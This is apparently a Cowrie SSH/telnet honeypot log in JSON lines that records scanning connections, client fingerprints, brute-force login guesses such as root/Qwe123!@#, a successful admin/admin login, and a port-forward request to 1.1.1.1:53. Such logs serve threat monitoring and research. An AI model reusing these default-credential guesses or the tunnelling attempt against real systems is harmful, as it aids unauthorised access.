{"eventid":"cowrie.session.closed","duration":7.189073324203491,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:41:59.257576Z","src_ip":"174.138.46.234","session":"ba60c1293374","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:42:00.164432Z","src_ip":"125.22.105.67","session":"37963c924c43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.045894622802734,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:42:00.846497Z","src_ip":"174.138.46.234","session":"2e62eef6e32a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":50644,"dst_ip":"10.17.0.5","dst_port":22,"session":"f11ef5095a9d","protocol":"ssh","message":"New connection: 103.248.120.6:50644 (10.17.0.5:22) [session: f11ef5095a9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:42:04.365719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:42:04.370874Z","src_ip":"103.248.120.6","session":"f11ef5095a9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:42:04.593796Z","src_ip":"103.248.120.6","session":"f11ef5095a9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcbserver","password":"mcbserver","message":"login attempt [mcbserver/mcbserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:42:05.517093Z","src_ip":"103.248.120.6","session":"f11ef5095a9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:42:06.744297Z","src_ip":"103.248.120.6","session":"f11ef5095a9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":45270,"dst_ip":"159.203.135.109","dst_port":22,"session":"90a30346950c","protocol":"ssh","message":"New connection: 141.11.21.145:45270 (159.203.135.109:22) [session: 90a30346950c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:42:23.622274Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:42:23.714611Z","src_ip":"141.11.21.145","session":"90a30346950c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":45278,"dst_ip":"159.203.135.109","dst_port":22,"session":"7111080bf7fc","protocol":"ssh","message":"New connection: 141.11.21.145:45278 (159.203.135.109:22) [session: 7111080bf7fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:42:23.796661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:42:23.802563Z","src_ip":"141.11.21.145","session":"7111080bf7fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:42:23.888561Z","src_ip":"141.11.21.145","session":"7111080bf7fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe123!@#","message":"login attempt [root/Qwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:42:24.145279Z","src_ip":"141.11.21.145","session":"7111080bf7fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:42:25.233485Z","src_ip":"141.11.21.145","session":"7111080bf7fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":14627,"dst_ip":"10.17.0.5","dst_port":22,"session":"74bec8c2d198","protocol":"ssh","message":"New connection: 185.48.213.208:14627 (10.17.0.5:22) [session: 74bec8c2d198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:42:30.063268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:42:30.069385Z","src_ip":"185.48.213.208","session":"74bec8c2d198","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:42:30.187800Z","src_ip":"185.48.213.208","session":"74bec8c2d198","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"drivetest","password":"drivetest","message":"login attempt [drivetest/drivetest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:42:30.690714Z","src_ip":"185.48.213.208","session":"74bec8c2d198","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:42:31.813146Z","src_ip":"185.48.213.208","session":"74bec8c2d198","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43754,"dst_ip":"159.203.135.109","dst_port":23,"session":"3eef39fcd877","protocol":"telnet","message":"New connection: 174.138.46.234:43754 (159.203.135.109:23) [session: 3eef39fcd877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:42:32.732871Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44116,"dst_ip":"159.203.135.109","dst_port":23,"session":"9265c9e1b24e","protocol":"telnet","message":"New connection: 174.138.46.234:44116 (159.203.135.109:23) [session: 9265c9e1b24e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:42:41.037969Z"}
{"eventid":"cowrie.session.closed","duration":5.8946661949157715,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:42:46.932506Z","src_ip":"174.138.46.234","session":"9265c9e1b24e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48606,"dst_ip":"159.203.135.109","dst_port":23,"session":"c823bbe2b4af","protocol":"telnet","message":"New connection: 174.138.46.234:48606 (159.203.135.109:23) [session: c823bbe2b4af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:42:49.190026Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.141","src_port":18764,"dst_ip":"10.17.0.5","dst_port":22,"session":"f82ca8131275","protocol":"ssh","message":"New connection: 87.251.64.141:18764 (10.17.0.5:22) [session: f82ca8131275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:42:56.865381Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:42:56.964177Z","src_ip":"87.251.64.141","session":"f82ca8131275","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.96558141708374,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:42:57.155442Z","src_ip":"174.138.46.234","session":"c823bbe2b4af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.778128147125244,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:43:20.510903Z","src_ip":"174.138.46.234","session":"3eef39fcd877","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.22.105.67","src_port":51282,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fd843fe7b40","protocol":"ssh","message":"New connection: 125.22.105.67:51282 (10.17.0.5:22) [session: 8fd843fe7b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:43:24.388792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:43:24.395002Z","src_ip":"125.22.105.67","session":"8fd843fe7b40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:43:24.682921Z","src_ip":"125.22.105.67","session":"8fd843fe7b40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu2024","message":"login attempt [root/ubuntu2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:43:25.861891Z","src_ip":"125.22.105.67","session":"8fd843fe7b40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:43:27.160864Z","src_ip":"125.22.105.67","session":"8fd843fe7b40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":16570,"dst_ip":"10.17.0.5","dst_port":22,"session":"e658eb974daa","protocol":"ssh","message":"New connection: 87.251.64.176:16570 (10.17.0.5:22) [session: e658eb974daa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:43:54.452085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:43:54.457347Z","src_ip":"87.251.64.176","session":"e658eb974daa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:43:54.554035Z","src_ip":"87.251.64.176","session":"e658eb974daa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:43:54.849647Z","src_ip":"87.251.64.176","session":"e658eb974daa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:43:54.949054Z","session":"e658eb974daa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:43:55.048273Z","src_ip":"87.251.64.176","session":"e658eb974daa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:43:55.147263Z","src_ip":"87.251.64.176","session":"e658eb974daa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40330,"dst_ip":"159.203.135.109","dst_port":23,"session":"2393940cc71c","protocol":"telnet","message":"New connection: 174.138.46.234:40330 (159.203.135.109:23) [session: 2393940cc71c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:43:56.090387Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40112,"dst_ip":"159.203.135.109","dst_port":23,"session":"54748aa53c53","protocol":"telnet","message":"New connection: 174.138.46.234:40112 (159.203.135.109:23) [session: 54748aa53c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:43:56.422621Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40646,"dst_ip":"159.203.135.109","dst_port":23,"session":"1896b4578513","protocol":"telnet","message":"New connection: 174.138.46.234:40646 (159.203.135.109:23) [session: 1896b4578513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:43:57.246244Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40462,"dst_ip":"159.203.135.109","dst_port":23,"session":"e04837c516b8","protocol":"telnet","message":"New connection: 174.138.46.234:40462 (159.203.135.109:23) [session: e04837c516b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:43:57.505707Z"}
{"eventid":"cowrie.session.closed","duration":1.021690845489502,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:43:58.527276Z","src_ip":"174.138.46.234","session":"e04837c516b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.700969696044922,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:44:01.791231Z","src_ip":"174.138.46.234","session":"2393940cc71c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.850526809692383,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:44:03.273021Z","src_ip":"174.138.46.234","session":"54748aa53c53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.9997923374176025,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:44:05.245915Z","src_ip":"174.138.46.234","session":"1896b4578513","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":4387,"dst_ip":"10.17.0.5","dst_port":22,"session":"9569e1686f9e","protocol":"ssh","message":"New connection: 185.48.213.208:4387 (10.17.0.5:22) [session: 9569e1686f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:44:11.800731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:44:11.805853Z","src_ip":"185.48.213.208","session":"9569e1686f9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:44:11.928119Z","src_ip":"185.48.213.208","session":"9569e1686f9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"tester","message":"login attempt [testuser/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:44:12.439337Z","src_ip":"185.48.213.208","session":"9569e1686f9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:44:13.562703Z","src_ip":"185.48.213.208","session":"9569e1686f9e","protocol":"ssh"}
